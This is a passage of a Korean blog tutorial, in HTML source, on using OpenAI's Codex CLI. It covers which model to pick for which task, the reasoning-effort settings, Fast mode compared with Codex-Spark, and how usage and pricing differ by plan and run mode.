&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xDybl/dJMcaffueZ7/COV2bHjInb207XmP2IWR1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xDybl/dJMcaffueZ7/COV2bHjInb207XmP2IWR1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xDybl/dJMcaffueZ7/COV2bHjInb207XmP2IWR1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxDybl%2FdJMcaffueZ7%2FCOV2bHjInb207XmP2IWR1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;382&quot; height=&quot;106&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 선택은 &quot;가장 센 모델 하나만 고르면 끝&quot;이 아니다. 작업의 성격이 다르면 적절한 모델도 달라진다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;작업&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;추천 방향&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;판단 이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작은 파일 수정, 문구 변경, 빠른 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4-mini&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 응답과 비용 효율이 더 중요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 파일을 바꾸는 기능 구현&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.5&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;맥락을 길게 유지하고 설계 판단이 필요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;원인 추적이 어려운 버그, 아키텍처 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;강한 모델 + 높은 reasoning effort&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;속도보다 추론 깊이와 검증 계획이 중요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 보조 에이전트에게 나눠 맡기는 반복 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 모델을 역할별로 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;각 역할이 작고 독립적이면 빠른 모델이 효율적이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 하나의 작업을 진행할때 여러가지 모델을 사용하여 작업하는 예시&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 메인 세션 : gpt 5.5 xhigh&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1490&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GY2Bc/dJMcahj3AUI/fKTkUMYfGUcSyQFungCXqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GY2Bc/dJMcahj3AUI/fKTkUMYfGUcSyQFungCXqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GY2Bc/dJMcahj3AUI/fKTkUMYfGUcSyQFungCXqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGY2Bc%2FdJMcahj3AUI%2FfKTkUMYfGUcSyQFungCXqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1490&quot; height=&quot;300&quot; data-origin-width=&quot;1490&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 작업을 수행하는 서브 에이전트 세션 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwTHKD/dJMcahxziud/QVQDw02uQMQ9ECAqvkkzs0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwTHKD/dJMcahxziud/QVQDw02uQMQ9ECAqvkkzs0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwTHKD/dJMcahxziud/QVQDw02uQMQ9ECAqvkkzs0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwTHKD%2FdJMcahxziud%2FQVQDw02uQMQ9ECAqvkkzs0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1748&quot; height=&quot;450&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 모델 지정과 reasoning effort&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XP9jJ/dJMcaaSLfAD/GK7am5jFK307rFhzmkNAPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XP9jJ/dJMcaaSLfAD/GK7am5jFK307rFhzmkNAPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XP9jJ/dJMcaaSLfAD/GK7am5jFK307rFhzmkNAPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXP9jJ%2FdJMcaaSLfAD%2FGK7am5jFK307rFhzmkNAPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1554&quot; height=&quot;860&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;CLI에서는 시작할 때 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt;로 모델을 지정한다. 공식 모델 예시에는 같은 뜻의 짧은 옵션인 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-m&lt;/code&gt;도 함께 나온다. 플래그는 명령어 뒤에 붙여 동작을 바꾸는 옵션이다.&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex --model gpt-5.5 &quot;이 모듈의 구조를 분석해라&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;에 기본 모델을 설정할 수도 있다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;model = &quot;gpt-5.5&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지원되는 모델에서는 생각의 깊이를 조절하는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;model_reasoning_effort&lt;/code&gt;도 설정할 수 있다. 공식 Config Reference 기준 선택지는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;minimal&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;low&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;medium&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;high&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;xhigh&lt;/code&gt;다. 단 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;xhigh&lt;/code&gt;는 모든 모델에서 되는 값이 아니라 모델 의존 옵션으로 안내되어 있다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;model_reasoning_effort = &quot;high&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;값&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;초심자용 의미&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적합한 작업&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;주의점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;minimal&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;생각을 거의 늘리지 않는 가장 가벼운 설정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;짧은 요약, 단순 분류, 파일명 목록 정리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코드 수정이나 추론이 필요한 작업에는 부족할 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;low&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;속도를 우선하는 낮은 추론&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반복 수정, 간단한 리팩터링 후보 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;엣지 케이스를 놓칠 가능성이 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;medium&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;속도와 판단 깊이의 균형&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대부분의 일반 코딩, 문서화, 리뷰 초안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본값으로 보기 좋지만 어려운 버그에는 올려볼 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;high&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가정을 더 많이 점검하는 깊은 추론&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복잡한 버그, 설계 검토, 보안&amp;middot;권한 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;응답이 느려지고 사용량도 커질 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;xhigh&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가능한 모델에서만 쓰는 더 깊은 추론&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아키텍처 결정, 장기 리팩터링 계획, 원인 추적이 어려운 장애 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 의존 옵션이므로 안 되면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;high&lt;/code&gt;로 낮춘다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 경고 콜아웃 (빨강) --&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #dc3545;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;클라우드 태스크 주의&lt;/b&gt;: 모델 선택과 사용 한도는 모델, 플랜, 그리고 로컬/클라우드 실행 여부에 따라 달라진다. 공식 Models 문서 기준으로, 클라우드 태스크의 기본 모델은 현재 사용자가 직접 바꾸지 못한다. 반면 로컬 CLI에서는 시작할 때 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt;/&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-m&lt;/code&gt;으로 지정하고, 실행 중에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/model&lt;/code&gt;로 바꿀 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 Fast mode와 Codex-Spark는 다르다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cA451r/dJMcabc0Jyd/83fZk7OJRefNcq4Bdc83F1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cA451r/dJMcabc0Jyd/83fZk7OJRefNcq4Bdc83F1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cA451r/dJMcabc0Jyd/83fZk7OJRefNcq4Bdc83F1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcA451r%2FdJMcabc0Jyd%2F83fZk7OJRefNcq4Bdc83F1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;1146&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 헷갈리기 쉬운 것이 Fast mode다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fast mode는 별도 모델명이 아니라, 지원 모델을 더 빠른 서비스 티어로 실행하는 속도 설정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 Speed 문서 기준으로 Fast mode는 지원 모델 속도를 약 1.5배 높이고, 그 대신 크레딧을 더 빠르게 소모한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 5월 기준 지원 모델과 배율은 다음처럼 공개되어 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;공식 문서 기준&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;실전 해석&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Fast mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GPT-5.5와 GPT-5.4를 더 빠르게 실행. GPT-5.5는 표준 대비 2.5배, GPT-5.4는 2배 크레딧 소모&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;급하게 결과가 필요할 때만 켠다. 계속 켜두면 사용 한도가 빨리 줄어든다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex-Spark&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;별도 빠른 모델. 연구 프리뷰이며 ChatGPT Pro 사용자 대상&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Fast mode처럼 기존 모델을 가속하는 것이 아니라, 빠른 반복용 모델을 고르는 것이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설정 방법&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/fast on&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/fast off&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;service_tier = &quot;fast&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 단위로 켜고 끄는 습관이 좋다. 기본값으로 고정하기 전에는 사용량을 먼저 본다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;service_tier = &quot;fast&quot;

[features]
fast_mode = true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 키로 실행하는 경우에는 Fast mode 크레딧 체계가 아니라 표준 API 과금으로 처리된다는 점도 구분한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 &quot;빠르게 하고 싶다&quot;는 요구가 항상 Fast mode를 뜻하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순 작업이면 먼저 작은 모델이나 낮은 reasoning effort를 쓰고, 그래도 지연이 문제일 때 Fast mode를 검토하는 순서가 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 사용량과 비용은 모델명만으로 결정되지 않는다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GsjUl/dJMcahj4iSm/ACjJU3CihTuTXgvtmMnUh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GsjUl/dJMcahj4iSm/ACjJU3CihTuTXgvtmMnUh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GsjUl/dJMcahj4iSm/ACjJU3CihTuTXgvtmMnUh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGsjUl%2FdJMcahj4iSm%2FACjJU3CihTuTXgvtmMnUh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1562&quot; height=&quot;844&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;요금과 사용량 제한은 모델명만으로 고정되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 플랜, API 키 사용, GitHub에서 실행되는 코드 리뷰, 클라우드 작업은 각각 사용량 계산 방식이 달라질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 플랜별 한도와 크레딧 정책은 바뀌기 쉬운 영역이므로 숫자를 외우기보다 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Pricing 페이지&lt;/a&gt;와 현재 계정의 사용량 화면을 확인하는 편이 안전하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;실행 방식&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;공식 Pricing 문서 기준&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;관리 포인트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 CLI / IDE 메시지&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;플랜별 5시간 단위 한도와 모델별 사용량 범위가 다르다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작은 반복은 작은 모델, 낮은 reasoning effort, 짧은 프롬프트로 처리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클라우드 태스크 / GitHub 코드 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 표 기준 GPT-5.3-Codex로 계산되는 항목이 따로 있다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 모델 선택과 같은 방식으로 직접 바꿀 수 있다고 가정하지 않는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API 키 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI, SDK, IDE 확장은 가능하지만 GitHub 코드 리뷰나 Slack 같은 클라우드 기능은 제공되지 않으며 API 토큰 요금이 적용된다&lt;/td&gt;
